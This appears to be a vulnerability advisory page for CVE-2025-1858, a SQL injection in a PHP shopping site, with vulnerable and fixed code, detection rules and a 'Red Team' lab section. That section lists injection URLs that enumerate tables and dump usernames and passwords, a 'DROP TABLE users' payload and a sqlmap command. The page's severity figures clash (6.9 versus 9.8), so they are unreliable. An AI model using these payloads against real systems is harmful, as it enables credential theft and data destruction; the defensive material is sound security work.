☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-1858

CVE-2025-1858 SQL Injection in Codezips
📅 PUBLISHED: 2025-03-03 08:31 UTC 🔄 UPDATED: 2026-09-23 20:23 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.61%
👁️
0.61% probability
15.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-1858 is a critical SQL injection vulnerability discovered in Codezips Online Shopping Website 1.0. The flaw resides in the /success.php file, where the id parameter is directly concatenated into SQL queries without sanitization or parameterization. An unauthenticated attacker can exploit this remotely to extract, modify, or delete database contents, potentially leading to full server compromise. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is available from the vendor.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 9.8 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network (AV:N) – exploitable remotely.
  • Attack Complexity: Low (AC:L) – no special conditions required.
  • Privileges Required: None (PR:N) – no authentication needed.
  • User Interaction: None (UI:N) – no user action required.
  • Scope: Unchanged (S:U) – impact confined to vulnerable component.
  • Confidentiality Impact: High (C:H) – full database read access.
  • Integrity Impact: High (I:H) – data can be modified or deleted.
  • Availability Impact: High (A:H) – potential denial of service via destructive queries.

Deep Dive & Mechanics

The vulnerability exists in /success.php where the id parameter is retrieved from the HTTP request (likely via $_GET['id']) and used directly in a SQL query without any sanitization, prepared statements, or stored procedures. For example:

$id = $_GET['id'];
$query = "SELECT * FROM orders WHERE id = $id";
$result = mysqli_query($conn, $query);

An attacker can inject SQL commands by appending malicious payloads to the id parameter. Common techniques include:

  • Boolean-based blind injection: 1 AND 1=1 vs 1 AND 1=2 to infer data.
  • Union-based injection: 1 UNION SELECT 1,2,3,4-- to retrieve arbitrary data.
  • Time-based blind injection: 1 AND SLEEP(5) to confirm injection points.
  • Stacked queries: 1; DROP TABLE users-- to execute multiple statements (if supported by the database).

The database backend is likely MySQL (common for PHP applications). The lack of input validation and prepared statements makes this a classic SQL injection vulnerability.

Vulnerable vs. Patched Code

Vulnerable Code (in /success.php):

<?php
$id = $_GET['id'];
$query = "SELECT * FROM orders WHERE id = $id";
$result = mysqli_query($conn, $query);
// ... process result
?>

Patched Code (recommended):

<?php
$id = intval($_GET['id']); // Cast to integer
$query = "SELECT * FROM orders WHERE id = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "i", $id);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
// ... process result
?>

The patched version uses parameterized queries (prepared statements) and type casting to prevent injection. Alternatively, input validation (e.g., ctype_digit()) and escaping (mysqli_real_escape_string()) can be used, but prepared statements are the most robust defense.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

  • Install Codezips Online Shopping Website 1.0 on a local server (e.g., XAMPP, LAMP).
  • Ensure the database is populated with sample data.
  • Access the application at http://localhost/success.php?id=1.

Exploitation Steps:

  1. Verify Injection:

    http://localhost/success.php?id=1' AND '1'='1
    http://localhost/success.php?id=1' AND '1'='2
    

    If the first returns a page and the second does not, injection is confirmed.

  2. Extract Database Version:

    http://localhost/success.php?id=1 UNION SELECT 1,@@version,3,4--
    
  3. Enumerate Tables:

    http://localhost/success.php?id=1 UNION SELECT 1,GROUP_CONCAT(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()--
    
  4. Dump User Credentials:

    http://localhost/success.php?id=1 UNION SELECT 1,GROUP_CONCAT(username,':',password),3,4 FROM users--
    
  5. Automated Exploitation with sqlmap:

    sqlmap -u "http://localhost/success.php?id=1" --batch --dbs
    

Blue Team (Defense & Detection)

Detection:

  • Monitor web server logs for suspicious id parameter values containing SQL keywords (UNION, SELECT, SLEEP, --, ').
  • Deploy a Web Application Firewall (WAF) with SQL injection rules.
  • Use database activity monitoring to detect anomalous queries.

Mitigation:

  • Immediately apply input validation and parameterized queries (see patched code).
  • Restrict database user privileges (e.g., no DROP or INSERT for web app user).
  • Enable query logging and alert on suspicious patterns.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /success.php with id parameter containing SQL keywords.
    • Outbound database connections from the web server to unexpected IPs.
  • File IOCs:
    • Modified /success.php file (if attacker uploads a webshell).
    • Suspicious files in the web root (e.g., cmd.php, shell.php).
  • Database IOCs:
    • Unauthorized SELECT, UNION, or DROP queries in logs.
    • New user accounts or modified data in the users table.

Detection Engineering

YARA Rule

rule CVE_2025_1858_SQLi_Detect {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-1858 in /success.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1858"
    strings:
        $sqli1 = /id=.*['\"]\s*(OR|AND|UNION|SELECT|DROP|INSERT|UPDATE|DELETE|SLEEP|BENCHMARK)/i
        $sqli2 = /id=.*--\s*$/i
        $sqli3 = /id=.*%27/i
    condition:
        any of them
}

Sigma Rule

title: SQL Injection Attempt Against /success.php (CVE-2025-1858)
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts targeting the id parameter in /success.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 
            - "/success.php?id="
        cs-uri-query|re: 
            - "'.*(OR|AND|UNION|SELECT|DROP|INSERT|UPDATE|DELETE|SLEEP|BENCHMARK).*"
            - "'.*--.*"
            - "'.*%27.*"
    condition: selection
falsepositives:
    - Legitimate use of special characters in IDs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1858 SQL Injection Attempt"; flow:to_server,established; content:"/success.php"; http_uri; content:"id="; http_uri; pcre:"/id=.*['\"]\s*(OR|AND|UNION|SELECT|DROP|INSERT|UPDATE|DELETE|SLEEP|BENCHMARK)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Actions:

    • Apply the patched code (parameterized queries) to /success.php.
    • Restrict database user privileges to only necessary operations (SELECT, INSERT, UPDATE on specific tables).
    • Enable input validation (e.g., ctype_digit() for numeric IDs).
  2. Long-Term Measures:

    • Conduct a full code audit for similar injection vulnerabilities.
    • Implement a Web Application Firewall (WAF) with SQL injection rules.
    • Use prepared statements for all database queries.
    • Regularly update and patch all software components.
  3. Monitoring:

    • Deploy the provided YARA, Sigma, and Suricata rules.
    • Enable detailed logging for web server and database.
    • Set up alerts for suspicious SQL queries.

Valters IT Signature: This report is provided for authorized security testing and defensive purposes only. Unauthorized exploitation of CVE-2025-1858 is illegal. Always obtain proper authorization before testing.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-1858/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.